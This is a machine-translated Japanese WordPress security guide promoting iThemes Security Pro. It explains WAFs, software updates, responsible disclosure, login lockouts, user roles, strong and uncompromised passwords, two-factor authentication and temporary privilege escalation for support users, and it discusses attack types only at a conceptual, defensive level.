WAFまたはWebApplication Firewallは、Webサイトに到達する前に、Webサイトに向かうインターネットトラフィックを監視することにより、Webサイトを保護するのに役立ちます。
WordPressの前にWAFを追加することで、インターネットとWebサイトの間にセキュリティチェックポイントを追加することになります。 トラフィックがWebサイトにアクセスする前に、WAFを通過する必要があります。
WAFは、CSRF、XSS、SQLインジェクションなどの悪意のあるトラフィックを検出すると、Webサイトに到達する前にそれを除外します。 それだけでなく、WAFは、DDoS攻撃を検出し、レート制限を実装してWebサイトのクラッシュを防ぐのに役立ちます。


WAFを実装する3つの方法
WAFを実装する方法は3つあります。 それぞれのタイプの長所と短所を見てみましょう。
- ネットワークベースのWAF–ネットワークベースまたは物理的なWAFはハードウェアベースです。 ネットワークベースのWAFの主な利点は、ローカルにインストールすることによる低遅延です。 ただし、欠点は、物理的な機器の保管と保守の価格に起因します。 価格と物理ストレージの要件により、これはほとんどの人にとって不適切な選択です。
- ホストベースのWAF–ホストベースまたはローカルのWAFは、通常プラグインを使用してWordPressに統合されます。 ホストベースのWAFの利点は、ネットワークベースのWAFよりも安価であるということです。 ローカルWAFの欠点は、サーバーリソースの要件です。 また、Webサイトでトラフィックフィルタリングが発生すると、Webサイトの訪問者のページの読み込み時間が遅くなる可能性があります。
- クラウドベースのWAF–クラウドベースのWAFは、通常、ほとんどの人にとって最良のオプションです。 クラウドベースのWAFの長所は、手頃な価格であり、管理する必要がないことです。 さらに、トラフィックがWebサイトに到達する前にフィルタリングされるため、サーバーリソースを消費したり、Webサイトの速度を低下させたりすることはありません。 CloudflareとSucuriは、人気のあるクラウドベースのファイアウォールプロバイダーです。
まとめ
このセクションでは、適切なホストを選択することが非常に重要である理由、Webサイトとその訪問者間の通信を保護する方法、およびWAFが悪意のあるトラフィックによるWebサイトへのアクセスをブロックする方法について学習しました。
次のセクションでは、WordPressソフトウェアを安全に保つためのベストプラクティスを学びます。
セクション5:WordPressソフトウェアのセキュリティ
新しいプラグインまたはテーマをインストールするたびに、ハッカーによって悪用される可能性のある新しいコードが導入されます。 このセクションでは、WordPress、プラグイン、テーマを管理する際の注意事項と禁止事項について学習します。
1.信頼できるソースからのみソフトウェアをインストールする
信頼できるソースからのWordPressプラグインとテーマのみをインストールしてください。 WordPress.org、有名な商用リポジトリ、または評判の良い開発者から直接入手したソフトウェアのみをインストールする必要があります。 商用プラグインには悪意のあるコードが含まれている可能性があるため、「null」バージョンの商用プラグインは避けてください。 マルウェアをインストールしているのであれば、WordPressサイトをどのようにロックダウンするかは問題ではありません。
WordPressプラグインまたはテーマが開発者のウェブサイトで配布されていない場合は、プラグインをダウンロードする前にデューデリジェンスを行う必要があります。 開発者に連絡して、製品を無料または割引価格で提供しているWebサイトと何らかの形で提携しているかどうかを確認してください。
2.未使用のプラグインとテーマを削除します
未使用または非アクティブなプラグインとテーマがWebサイトにあることは、WordPressのセキュリティ上の大きな間違いです。 Webサイト上のすべてのコードは、ハッカーの潜在的なエントリポイントです。
開発者は、プラグインやテーマでJSライブラリなどのサードパーティコードを使用するのが一般的です。 残念ながら、ライブラリが適切に維持されていないと、攻撃者がWebサイトをハッキングするために利用できる脆弱性が作成される可能性があります。
WordPressサイトの不要なプラグインとテーマをアンインストールして完全に削除し、Webサイト上のアクセスポイントと実行可能コードの数を制限します。
3.WordPressソフトウェアを最新の状態に保つ
ソフトウェアを最新の状態に保つことは、WordPressのセキュリティ戦略の重要な部分です。 更新は、バグ修正や新機能のためだけのものではありません。 アップデートには、重要なセキュリティパッチを含めることもできます。 そのパッチがないと、電話、コンピューター、サーバー、ルーター、またはWebサイトが攻撃に対して脆弱なままになります。
パッチが利用可能であるが適用されていない脆弱なプラグインまたはテーマを持っていることは、ハッキングされたWordPressWebサイトの最大の原因です。 脆弱性に対するパッチがリリースされた後、ほとんどの脆弱性が悪用されていることをこれが意味。
報告の多いEquifaxの侵害は、ソフトウェアを更新すれば防ぐことができたはずです。 Equifaxの侵害については、言い訳はありませんでした。
あなたのソフトウェアを更新するのと同じくらい簡単な何かがあなたを保護することができます。 したがって、これらのWordPressアップデートを無視しないでください。アップデートはWordPressセキュリティとすべてのWebセキュリティの最も基本的なコンポーネントの1つです。
火曜日のパッチ
火曜日のパッチは、マイクロソフトが毎月第2火曜日にリリースする定期的なバグとセキュリティの修正を指す非公式の用語です。 マイクロソフトがそのような信頼できるリズムでセキュリティ修正をリリースするのは素晴らしいことです。 火曜日のパッチは、マイクロソフトがパッチを適用するセキュリティの脆弱性が公開される日でもあります。
火曜日のパッチ更新を自動的に適用する方法については、2020年のWordPressセキュリティの究極のガイドの「更新する内容と更新を自動化する方法」セクションをご覧ください。
水曜日を悪用する
火曜日のパッチに続く水曜日に、多くの攻撃者が、古くてパッチが適用されていないシステムで以前から知られている脆弱性を悪用するのを目にするのが一般的です。 したがって、火曜日のパッチに続く水曜日は、非公式にエクスプロイト水曜日として造られました。
ハッカーがパッチを適用した脆弱性を標的にするのはなぜですか?
ハッカーは、人々が更新しないことを知っているため、パッチが適用された脆弱性を標的にします(Webサイトのプラグインやテーマを含む)。 パッチが適用された日に脆弱性を公開することは業界標準です。 脆弱性が公開された後、その脆弱性は、ソフトウェアの古いバージョンとパッチが適用されていないバージョンの「既知の脆弱性」になります。 既知の脆弱性を持つソフトウェアは、ハッカーにとって簡単な標的です。
ハッカーは簡単な標的が好きで、既知の脆弱性を持つソフトウェアを持っていることは、WordPress Webサイト、サーバー、コンピューター、またはその他のインターネット接続デバイスに侵入するためのステップバイステップの指示をハッカーに渡すようなものです。
責任ある開示
ハッカーに攻撃のエクスプロイトを与える場合、なぜ脆弱性が開示されるのか疑問に思われるかもしれません。 そうですね、セキュリティ研究者が脆弱性を見つけてソフトウェア開発者に非公開で報告することは非常に一般的です。
責任ある開示により、研究者の最初のレポートは、ソフトウェアを所有する会社の開発者に非公開で作成されますが、パッチが利用可能になったら完全な詳細が公開されることに同意します。 重大なセキュリティの脆弱性については、より多くの人にパッチを適用する時間を与えるために、脆弱性の開示がわずかに遅れる場合があります。
セキュリティ研究者は、ソフトウェア開発者がレポートに応答するか、パッチを提供する期限を提供する場合があります。 この期限に間に合わない場合、研究者は、パッチを発行するように開発者に圧力をかける脆弱性を公開する可能性があります。
脆弱性を公開し、ゼロデイ攻撃(パッチがなく、実際に悪用されているタイプの脆弱性)を導入しているように見えると、逆効果に見える可能性があります。 しかし、それは、研究者が開発者に脆弱性にパッチを当てるように圧力をかけなければならない唯一の手段です。
ハッカーが脆弱性を発見した場合、彼らはエクスプロイトを静かに使用してエンドユーザー(これはあなたです)に損害を与える可能性がありますが、ソフトウェア開発者は脆弱性にパッチを適用しないままにしておくことに満足しています。
GoogleのProjectZeroには、脆弱性の開示に関して同様のガイドラインがあります。 脆弱性にパッチが適用されているかどうかに関係なく、90日後に脆弱性の完全な詳細を公開します。
更新の学習:難しい方法
2018年の終わりに、ハッカーはWPGDPRコンプライアンスプラグインのエクスプロイトを積極的に利用していました。 エクスプロイトにより、許可されていないユーザー(Webサイトにログインしていないユーザー)がWPユーザー登録設定を変更し、デフォルトの新しいユーザーロールをサブスクライバーから管理者に変更することができました。 ありがたいことに、WP GDPRコンプライアンスプラグインの開発者は迅速に行動し、公開された翌日に脆弱性のパッチをリリースしました。
しかし、水曜日のエクスプロイトと同様に、パッチがリリースされていても、ハッカーはこの脆弱性を標的にしました。 WP GDPRコンプライアンスの脆弱性の開示者から数日および数週間で、WordPressWebサイトが脆弱性を悪用する攻撃者によってハッキングされたという報告が殺到しました。
パッチが利用可能であるが適用されていない脆弱なプラグインまたはテーマを持っていることは、ハッキングされたWordPressWebサイトの最大の原因です。 これはとてもフラストレーションがたまります!!!!! これは、ほとんどのWPハッキングが防止された可能性があることを意味します。
ウェブサイトをきれいにするために莫大なお金を費やしたすべての人々、サイトがダウンしている間に失った収入、そして顧客の信頼を失うことで失った将来の収入について考えるのは腹立たしいことです。 簡単なアップデートでその苦痛のすべてを防ぐことができたと知っているとき、それはそれをさらに動揺させます。
4.WordPressの脆弱性を追跡する
プラグインとテーマを最新の状態に保つことは、すべてのWordPressの脆弱性からあなたを保護するわけではありません。 一部のWordPressプラグインとテーマは、それらを作成した開発者によって放棄されました。
残念ながら、放棄されたプラグインまたはテーマに脆弱性がある場合、パッチを取得することはありません。 ハッカーは、これらの永続的に脆弱なプラグインを使用するWebサイトを標的にします。
脆弱性を追跡することは、安全なWebサイトを持つことと、ハッカーが簡単に悪用するWebサイトを持つことの違いです。Webサイトに既知の脆弱性を持つ放棄されたプラグインがある場合、ハッカーにWebサイトを乗っ取るために必要な青写真を提供していることになります。 そのため、最新の脆弱性をすべて追跡する必要があります。
開示されたすべてのWordPressの脆弱性を追跡し、そのリストをWebサイトにインストールしたプラグインやテーマのバージョンと比較することは困難です。 脆弱性を追跡することは、安全なWebサイトを持つことと、ハッカーが簡単に悪用するWebサイトを持つことの違いです。
5.Webサイトをスキャンして脆弱性を探します
より迅速な方法は、簡単なハッカーの悪用からWebサイトを保護することです。自動スキャンを使用して、既知の脆弱性についてWebサイトをチェックします。
iThemes Security Pro Site Scannerは、すべてのWordPressWebサイトの脆弱性保護を自動化する方法です。 サイトスキャナーは、既知の脆弱性についてサイトをチェックし、パッチが利用可能な場合は自動的に適用します。
iThemes Security Proサイトは、3種類の脆弱性をチェックします。
- WordPressの脆弱性
- プラグインの脆弱性
- テーマの脆弱性
iThemes Sync Proサイト監査機能は、GoogleLighthouseの機能を活用してWebサイトを保護します。 サイト監査は、既知のセキュリティ脆弱性を持つフロントエンドJavaScriptライブラリを含むページをチェックしてフラグを立てます。
開発者は、プラグインやテーマでJSライブラリなどのサードパーティコードを使用するのが一般的です。 残念ながら、ライブラリが適切に維持されていないと、攻撃者がWebサイトをハッキングするために利用できる脆弱性が作成される可能性があります。 既知の脆弱性を持つコンポーネントの使用は、OWASPトップ10リストにあります。
サイト監査は私のベーコンを救った! Sync Proに毎週自動監査を実行させ、監査レポートを電子メールで送信するための監査スケジュールを作成しました。 私はすべてを最新の状態に保っています。そのため、自分のWebサイトの監査で、既知のセキュリティの脆弱性を持つJavaScriptライブラリを使用していることにショックを受けました。
レポートは、既知の脆弱性が散らばっているWebサイトのWordPressディレクトリにある古いバージョンのjQueryを指摘しました。 私にとって幸運なことに、Sync Pro Site Auditで、既知のセキュリティ脆弱性を持つJavaScriptライブラリを使用していて、Webサイトがハッキングされる前に問題を解決できたことがわかりました。
まとめ
WordPressプラグイン、テーマ、WordPressコアなど、Webサイトを実行するソフトウェアを適切に管理することは、WordPressのセキュリティ戦略に大いに役立ち、オンラインの攻撃者からWebサイトを保護します。
セクション6:WordPressログインの保護
WordPressのログインURLはすべてのWordPressサイトで同じであり、アクセスするために特別な権限は必要ありません。 WordPressの使用経験がある人なら誰でも、ログインURLが/wp-login.php
ページにあることを知っています。
WordPressログインページのアクセシビリティは、WordPress Webサイトの中で最も攻撃され、潜在的に最も脆弱な部分になります。 幸いなことに、iThemes Security Proプラグインを使用すると、WordPressのログインを簡単に保護できます。
WordPressログインを保護し、ほとんど侵入できないようにするために使用できるiThemes SecurityProのツールを見てみましょう。
1.ログイン試行を制限する
WordPressログインを保護するための最初のステップは、失敗したログイン試行を制限することです。 デフォルトでは、WordPressには、誰かが失敗したログイン試行の回数を制限するものは何も組み込まれていません。 攻撃者が試行できるログイン試行の失敗回数に制限がない場合、攻撃者は、機能するものが見つかるまで、さまざまなユーザー名とパスワードの組み合わせを試行し続けることができます。
iThemes Security Proローカルブルートフォース保護機能は、ホストまたはIPアドレスとユーザー名によって行われた無効なログイン試行を追跡します。 IPまたはユーザー名が連続して無効なログイン試行を何度も繰り返した場合、それらはロックアウトされ、設定された期間、それ以上試行できなくなります。
ローカルブルートフォース保護機能の使用を開始するには、iThemes SecurityPro設定ページのメインページで有効にします。

ローカルブルートフォース保護設定を使用すると、ロックアウトのしきい値を設定できます。

- ホストあたりの最大ログイン試行回数–IPがロックアウトされる前に許可される無効なログイン試行回数。
- ユーザーあたりの最大ログイン試行回数–これは、ユーザー名がロックアウトされる前に許可される無効なログイン試行回数です。
- 不正なログインを記憶する分–これは、無効なログイン試行がロックアウトのIPまたはユーザー名に対してカウントされる時間です。
- 「admin」ユーザーを自動的に禁止する–有効にすると、ログイン時にAdminユーザー名を使用するユーザーは自動的にロックアウトされます。
ロックアウト設定を構成する際に留意したいことがいくつかあります。 IPを与えるよりも、ユーザーに無効なログイン試行を移動させたいとします。 あなたのウェブサイトがブルートフォース攻撃を受けており、攻撃者があなたのユーザー名を使用しているとしましょう。 目標は、ユーザー名ではなく攻撃者のIPをロックアウトすることです。これにより、Webサイトが攻撃を受けている場合でも、ログインして作業を行うことができます。
また、無効なログイン試行の回数を低く設定しすぎたり、無効な試行を記憶する時間を長く設定したりして、これらの設定を厳しくしすぎないようにする必要があります。 ホスト/ IPの無効なログイン試行回数を1回に減らし、不正なログイン試行を記憶する分を1か月に設定すると、正当なユーザーを誤ってロックアウトする可能性が大幅に高まります。
2.リクエストごとの外部認証の試行を制限する
ログインフォームを使用する以外に、WordPressにログインする方法は他にもあります。 攻撃者はXML-RPCを使用して、1回のHTTPリクエストで数百のユーザー名とパスワードを試行できます。 強引な増幅方法により、攻撃者はわずか数回のHTTPリクエストでXML-RPCを使用して何千ものユーザー名とパスワードを試行できます。
iThemes SecurityProのWordPressTweaks設定を使用すると、XML-RPC要求ごとに複数の認証試行をブロックできます。 ユーザー名とパスワードの試行回数をリクエストごとに1回に制限すると、WordPressログインを保護するのに大いに役立ちます。

3.ネットワークブルートフォース保護
ログイン試行を制限することは、すべてローカルブルートフォース保護に関するものです。 ローカルブルートフォース保護は、サイトへのアクセスの試みのみを監視し、セキュリティ設定で指定されたロックアウトルールに従ってユーザーを禁止します。
ネットワークブルートフォース保護は、これをさらに一歩進めます。 このネットワークはiThemesSecurityコミュニティであり、100万を超える強力なWebサイトがあります。 IPがiThemesSecurityコミュニティのWebサイトに侵入しようとしていると識別された場合、そのIPはネットワークブルースフォースの禁止リストに追加されます。
IPがネットワークブルートフォース禁止リストに含まれると、そのIPはネットワーク内のすべてのWebサイトでブロックされます。 したがって、IPが私のWebサイトを攻撃して禁止された場合、iThemes Security Brute ForceNetworkに報告されます。 私のレポートは、ネットワーク全体でIPを禁止するのに役立ちます。 iThemes Security Network Protectionを有効にするだけで、他の人のWordPressログインを保護できるのが大好きです。
Network Force Protectionの使用を開始するには、セキュリティ設定のメインページで有効にします。

次に、電子メールアドレスを入力し、電子メールの更新を受信するかどうかを選択して、[保存]ボタンをクリックします。

4.WPダッシュボードへのデバイスアクセスを制限する
WordPressログインを保護するための最後のステップは、WordPressダッシュボードへのアクセスを一連のデバイスに制限することです。 iThemes Security Proの信頼できるデバイス機能は、あなたと他のユーザーがWordPressサイトへのログインに使用するデバイスを識別します。 ユーザーが認識されないデバイスにログインすると、信頼できるデバイスは管理者レベルの機能を制限できます。 これは、ハッカーが他のログインセキュリティ方法を回避できたということを意味します-可能性は低いですが-彼らはあなたのウェブサイトに悪意のある変更を加えることができませんでした。
信頼できるデバイスの使用を開始するには、セキュリティ設定のメインページで信頼できるデバイスを有効にしてから、[設定の構成]ボタンをクリックします。

[信頼できるデバイス]設定で、この機能を使用するユーザーを決定し、[機能の制限]および[セッションハイジャック保護]機能を有効にします。

新しい信頼できるデバイスの設定を有効にすると、ユーザーはWordPress管理バーに保留中の認識されていないデバイスに関する通知を受け取ります。 現在のデバイスが信頼できるデバイスのリストに追加されていない場合は、[このデバイスの確認]リンクをクリックして認証メールを送信します。

認識されないログイン電子メールの[デバイスの確認]ボタンをクリックして、現在のデバイスを[信頼できるデバイス]リストに追加します。

まとめ
WordPressログインページのアクセシビリティは、WordPressサイトの中で最も攻撃され、潜在的に脆弱な部分になります。 ただし、このセクションの手順を使用すると、WordPressログインがほとんど侵入できなくなります。
セクション7:WordPressユーザーの保護
ユーザーのセキュリティについて話すときはいつでも、すべてのWordPressユーザーが同じセキュリティ要件を持っているべきか、どのくらいのセキュリティがあまりにも多くのセキュリティであるかなどの質問をよく耳にします。
心配しないでください。 私たちはこれらすべての質問に答えます。 しかし、最初に、さまざまなタイプのWordPressユーザーについて話しましょう。
WordPressユーザーの種類は何ですか?
5つの異なるデフォルトのWordPressユーザーがいます。
- 管理者
- 編集者
- 著者
- 寄稿者
- サブスクライバー
ユーザーごとに異なる機能があります。 機能は、ダッシュボードにアクセスしたときに何ができるかを決定します。 WordPressのユーザーロールと権限の詳細をご覧ください。
さまざまなハッキングされたWordPressユーザーの潜在的な損害
WordPressユーザーを保護する方法を理解する前に、まず、侵害された各タイプのユーザーの脅威レベルを理解する必要があります。 攻撃者が与える可能性のある損害の種類とレベルは、ハッキングするユーザーの役割と能力によって大きく異なります。
管理者–脅威レベルが高い
管理者ユーザーには、必要な機能があります。
- ユーザーを作成、削除、および変更します。
- プラグインとテーマをインストール、削除、編集します。
- すべての投稿とページを作成、削除、編集します。
- 投稿とページを公開および非公開にします。
- メディアを追加および削除します。
ハッカーがあなたのサイトの管理者の1人に手を差し伸べることができれば、彼らは身代金のためにあなたのWebサイトを保持する可能性があります。 先に述べたように、ランサムウェアとは、ハッカーがWebサイトを乗っ取って、多額の料金を支払わない限り、Webサイトをリリースしないことを指します。
編集者–脅威レベルが高い
編集者は、ウェブサイトのすべてのコンテンツを管理します。 これらのユーザーはまだかなりの力を持っています。
- すべての投稿とページを作成、削除、編集します。
- すべての投稿とページを公開および非公開にします。
- メディアファイルをアップロードします。
- すべてのリンクを管理します。
- コメントを管理します。
- カテゴリを管理します。
攻撃者が編集者のアカウントを制御した場合、フィッシング攻撃で使用するようにページの1つを変更する可能性があります。 フィッシングは、ログイン資格情報やクレジットカード番号などのユーザーデータを盗むために使用される攻撃の一種です。
フィッシングは、ウェブサイトをGoogleによってブラックリストに登録する最も確実な方法の1つです。 毎日、さまざまな理由で10,000のサイトがGoogleのブロックリストに登録されています。
作成者–脅威レベル中
著者は、独自のコンテンツを作成および管理するように設計されています。
- 独自の投稿やページを作成、削除、編集します。
- 自分の投稿を公開および非公開にします。
- メディアファイルをアップロードする
攻撃者が作成者のアカウントを制御できるようになると、サイトの訪問者を悪意のあるWebサイトに誘導するページや投稿が作成される可能性があります。
コントリビューターとサブスクライバー–脅威レベルが低い
コントリビューターは、作成者ユーザーロールのライトバージョンです。 彼らには出版力がありません。
- 独自の投稿を作成および編集します。
- 自分の未公開の投稿を削除します。
サブスクライバーは、他のユーザーが公開しているものを読むことができます。
コントリビューターまたはサブスクライバーの役割を持つハッカーは悪意のある変更を加えることはできませんが、ユーザーのアカウントまたはプロファイルページに保存されている機密情報を盗むことはできます。
WordPressユーザーを保護するための6つのヒント
さて、それはハッカーが私たちのウェブサイトにできるかなり厄介なことです。 幸いなことに、WordPressユーザーアカウントへのほとんどの攻撃は、ほんの少しの努力で防ぐことができます。
WordPressユーザーを保護するためにできることを見てみましょう。 真実は、これらのWordPressセキュリティメソッドがあらゆるタイプのWordPressユーザーを保護するのに役立つということです。 ただし、各メソッドを実行するときに、そのメソッドを使用するために必要なユーザーをお知らせします。
1.必要な機能のみを人々に提供する
Webサイトを保護する最も簡単な方法は、ユーザーに必要な機能のみを提供し、それ以上の機能を提供しないことです。 誰かがあなたのウェブサイトでやろうとしているのが自分のブログ投稿を作成して編集することだけである場合、彼らは他の人の投稿を編集する機能を必要としません。
2.強力なパスワードでWordPressユーザーを保護する
Splash Dataによって編集されたリストでは、すべてのデータダンプに含まれる最も一般的なパスワードは123456でした。データダンプは、インターネット上のどこかにダンプされたユーザーパスワードで満たされたハッキングされたデータベースです。 123456がデータダンプで最も一般的なパスワードである場合、Webサイトで弱いパスワードを使用している人の数を想像できますか?
弱いパスワードを使用することは、テープで玄関のドアをロックしようとするようなものです。 ハッカーが弱いパスワードを超えてWebサイトにブルートフォース攻撃を仕掛けるのにそれほど時間はかかりませんでした。 ハッカーが攻撃にコンピューターのグラフィックカードを利用している今、パスワードを解読するのにかかる時間はかつてないほど短くなっています。
たとえば、高性能のパスワードクラッキング会社であるTerahashによって作成されたグラフを見てみましょう。 彼らのチャートは、448x RTX2080のハッシュスタッククラスターを使用してパスワードを解読するのにかかる時間を示しています。

デフォルトでは、WordPressはMD5を使用してWPデータベースに保存されているユーザーパスワードをハッシュします。 したがって、このチャートによると、Terahashは8文字のパスワードを解読する可能性があります…ほぼ瞬時に。 それはとても印象的であるだけでなく、本当に怖いです。 幸いなことに、高レベルのユーザーに強力なパスワードの使用を要求することで、WordPressのログインを保護できます。
iThemes Security Proのパスワード要件機能を使用すると、特定のユーザーに強力なパスワードの使用を強制できます。 セキュリティ設定のメインページでパスワード要件機能を有効にしてから、強力なパスワードの使用を要求するユーザーを選択します。

3.侵害されたパスワードの拒否
Verizonのデータ漏えい調査レポートによると、従業員の70%以上が職場でパスワードを再利用しています。 しかし、レポートの最も重要な統計は、ハッキング関連の侵害の81%が、盗まれたパスワードまたは弱いパスワードのいずれかを利用したことです。
ハッカーは、辞書攻撃と呼ばれるブルートフォース攻撃の形式を使用します。 辞書攻撃は、データベースダンプに表示される一般的に使用されるパスワードを使用してWordPressWebサイトに侵入する方法です。 「コレクション#1? MEGAでホストされたデータ侵害には、電子メールアドレスとパスワードの1,160,253,228の一意の組み合わせが含まれていました。 それはbで10億です。 この種のスコアは、辞書攻撃が最も一般的に使用されるWordPressパスワードを絞り込むのに本当に役立ちます。
作成者レベル以上の機能を持つユーザーが、WordPressログインを保護するために侵害されたパスワードを使用しないようにする必要があります。 また、下位レベルのユーザーに侵害されたパスワードを使用させないようにすることも考えられます。
新しい顧客アカウントの作成をできるだけ簡単にすることは完全に理解でき、奨励されています。 ただし、顧客は、使用しているパスワードがデータダンプで見つかったことを知らない場合があります。 使用しているパスワードが侵害されたという事実を顧客に警告することで、顧客にすばらしいサービスを提供することになります。 彼らがどこでもそのパスワードを使用しているなら、あなたは将来のいくつかの大きな頭痛から彼らを救うことができます。
iThemes Security Pro Refuse Compromised Passwords機能は、Have I beenPwnedによって追跡されたパスワード違反に表示されていないパスワードを使用するようにユーザーに強制します。 セキュリティ設定のメインページでパスワード要件機能を有効にしてから、侵害されたパスワードの使用を防止するユーザーを選択します。

4.2要素認証でWordPressユーザーを保護する
二要素認証を使用することは、WordPressログインを保護するためにできる最善のことです。 二要素認証は、2つの別個の検証方法を要求することにより、個人のIDを検証するプロセスです。 Googleはブログで、2要素認証を使用すると自動ボット攻撃を100%阻止できることを共有しました。 私はそれらのオッズが本当に好きです。
iThemes Security Proの2要素認証機能は、Webサイトに2faを実装する際に非常に高い柔軟性を提供します。 すべてまたは一部のユーザーに対して2要素を有効にし、高レベルのユーザーにログインごとに2faを使用するように強制することができます。

あなたの便宜のために、iThemes SecurityProは2要素認証の2つの異なる方法を提供します。
- モバイルアプリ–モバイルアプリ方式は、iThemes SecurityProが提供する2要素認証の最も安全な方式です。 この方法では、Authyのような無料の2要素モバイルアプリを使用する必要があります。
- 電子メール– 2要素の電子メール方式は、時間に敏感なコードをユーザーの電子メールアドレスに送信します。
- バックアップコード–主要な2要素認証方式が失われた場合にログインに使用できる1回限りの使用コードのセット。
5.WordPressユーザーをセッションハイジャックから保護する
WordPressは、WebサイトにログインするたびにセッションCookieを生成します。 また、開発者によって放棄され、セキュリティ更新プログラムをリリースしなくなったブラウザ拡張機能があるとします。 残念ながら、無視されたブラウザ拡張機能には脆弱性があります。 この脆弱性により、悪意のある攻撃者が前述のWordPressセッションCookieを含むブラウザCookieを乗っ取る可能性があります。 このタイプのハッキングは、セッションハイジャックとして知られています。 そのため、攻撃者は拡張機能の脆弱性を悪用してログインを便乗させ、WordPressユーザーに悪意のある変更を加え始める可能性があります。
管理者と編集者のために、セッションハイジャック保護を設定する必要があります。
iThemes Security Proの信頼できるデバイス機能により、セッションハイジャックは過去のものになります。 セッション中にユーザーのデバイスが変更された場合、iThemes Securityはユーザーを自動的にログアウトして、ユーザーの電子メールアドレスの変更や悪意のあるプラグインのアップロードなど、ユーザーのアカウントでの不正なアクティビティを防止します。
6.ユニバーサルサポートユーザーを作成します
新しいユーザーを作成するときはいつでも、ハッカーが悪用する可能性のある別のエントリポイントを追加しています。 ただし、サポートを求めている場合や独立した請負業者を雇った後など、Webサイトの外部からの支援が必要になる場合があります。 あなたはあなたのウェブサイトに一時的な管理者アクセスを追加するための安全で安全な方法を必要としています。
たとえば、Webサイトにインストールされているプラグインの1つで問題が発生したとします。 サポートに連絡した後、彼らはあなたのウェブサイトへの管理者アクセスを要求します。 それは完全に合理的な要求のようであり、あなたは彼らにアクセスを許可することにしました。
では、WordPressWebサイトへの一時的な管理者アクセスを誰かに与えるにはどうすればよいでしょうか。
Webサイトへの外部アクセスの許可:2つのオプション
通常、Webサイトへの外部アクセスを提供するための2つのオプションがあります…。 そしてどちらも素晴らしいです。
1.ユーザーの資格情報を共有する
最初で最悪のオプションは、WordPress管理者ユーザーのユーザー名とパスワードを共有することです。
管理者の資格情報の共有がひどい理由
- セキュリティの低下–ユーザーの資格情報を共有する場合、資格情報を使用しているユーザーがログインできるようにするには、2要素認証を無効にする必要があります。 Googleはブログで、2要素認証または2段階認証を使用すると、自動化されたボット攻撃を100%阻止できることを共有しました。 二要素認証を無効にすると、たとえ短期間であっても、Webサイトのセキュリティが大幅に低下します。
- 不便–資格情報を共有するには、パスワードを変更する必要があります。 パスワードの変更を忘れた場合、必要なときにいつでもWebサイトに管理者アクセスできる人が1人以上います。
2.2。 サポート技術者の新しいユーザーを作成する
サポートスペシャリスト用に新しい管理者ユーザーを作成することは、管理者の資格情報を共有するよりも優れていますが、それでも優れたものではありません。
サポート技術のユーザーを作成するのがひどい理由
- 脆弱性の増加–新しい管理者ユーザーを作成すると、悪用される可能性のある別のエントリポイントが追加されます。 パスワードポリシーが設定されていない場合、サポート技術者は弱いパスワードを選択する可能性があり、WordPressログインが攻撃に対してより脆弱になります。
- 不便–外部の支援が必要なときにいつでも新しいユーザーを設定するプロセスを実行するのは時間がかかります。 新しいユーザーを作成し、ユーザーがWebサイトにアクセスする必要がなくなったらユーザーを削除することを忘れないでください。 未使用のユーザーをWebサイトから削除することは、WordPressのセキュリティのベストプラクティスです。
特権昇格とは何ですか?
iThemes Security Proの権限昇格機能を使用すると、ユーザーに追加の機能を一時的に付与できます。
権限昇格により、外部の開発者に提供したり、Webサイトへの一時的なアクセスを必要とする技術者をサポートしたりできるユニバーサルユーザーを簡単かつ安全に作成できます。
権限昇格を使用すると、新しいユーザーを作成してSupportという名前を付け、サブスクライバーユーザーの役割を与えることができます。 次回Webサイトへの一時的なアクセスを提供する必要がある場合は、サポートユーザーをサブスクライバーから管理者に増やすことができます。 投稿の後半でこれを行う方法について説明しますが、最初に、特権昇格がWebサイトへのアクセスを許可するためのより良い方法である理由について説明しましょう。
特権昇格が優れている理由
- 簡単–Webサイトへのアクセスを許可する必要があるたびに新しいユーザーを作成する必要はありません。
- 自動–特権の昇格は24時間のみ続きます。 24時間経過すると、ユーザーはすべての追加権限を自動的に失います。 ユーザーを削除したり、パスワードを変更したりすることを覚えておく必要はありません。
- セキュリティを犠牲にすることはありません–このユニバーサルサポートユーザーに、ログインに2要素の電子メール方式を使用するように要求できます。つまり、他の管理者ユーザーと同じレベルのセキュリティがあります。 実際のユーザーロールはサブスクライバーであるため、Webサイトに残すリスクはありません。
iThemes SecurityProで権限昇格を使用する方法
開始するには、セキュリティ設定のメインページで特権昇格を有効にします。

新しいユーザーを作成し、Supportという名前を付けて、サブスクライバーユーザーの役割を与えることができます。 次回Webサイトへの一時的なアクセスを提供する必要がある場合は、サポートユーザーのプロファイルページに移動します。

電子メールアドレスを更新して、外部のサポート担当者が新しいパスワードを要求できるようにします。 次に、一時的な特権昇格の設定が表示されるまで下にスクロールします。 [一時的な役割の設定]トグルをクリックし、[管理者]を選択します。 これで、ユーザーは次の24時間は管理者アクセス権を持つことになります。

24時間も必要ない場合は、ユーザープロファイルページから特権の昇格を取り消すことができます。 24時間以上必要な場合は、[日数]フィールドで必要な正確な日数を設定できます。

まとめ
WordPressの人気は、世界中のハッカーの標的になっています。 すでに説明したように、攻撃者は最低レベルのWordPressユーザーをハッキングすることで損害を与える可能性があります。
幸いなことに、WordPressユーザーへの攻撃を防ぐ方法はありませんが、私たちの少しの努力で、攻撃が成功するのを防ぐことができます。
セクション8:悪いボットからあなたのウェブサイトを保護する
WordPressセキュリティガイドのこのセクションでは、ボットとは何か、そして悪いボットがWebサイトに大混乱を引き起こすのを防ぐ方法を学びます。
ボットとは何ですか?
ボットは、特定のタスクリストを実行するようにプログラムされたソフトウェアです。 開発者は、ボットが開始するように指示しなくてもボットが自動的に従う一連の指示を作成します。 ボットは、反復的でありふれたタスクを私たちよりもはるかに速く実行します。
さまざまなボットが継続的にWebサイトをクロールしています。 これらのボットのいくつかは優れており、価値のあるサービスを提供します。 他のボットには、より悪質な動機があります。 ボットとは何か、さまざまな種類のボットについて話しましょう。

グッドボット
ボットの監視– iThemes Sync Pro Uptime Monitoringは、ボットを使用してWebサイトの稼働時間を監視します。 ボットは5分ごとにWebサイトをチェックして、Webサイトがまだオンラインであることを確認します。 Webサイトがダウンしている場合、ボットからアラートが送信されるため、サイトをオンラインに戻すことができます。
監査ボット– iThemes Sync Pro Site Auditは、GoogleLighthouseボットを使用してWebページの品質をチェックします。 監査ボットのもう1つの優れた例は、存在しない場所に移動するリンクを探してWebサイトをクロールする壊れたリンカーチェッカーです。
フィーダーボット–フィーダーボットの優れた例はポッドキャストプレーヤーです。 ポッドキャストプレーヤーは、ボットを使用して、サブスクライブしているポッドキャストのRSSフィードを監視し、お気に入りのポッドキャストが新しいエピソードをリリースしたときにアラートを出します。
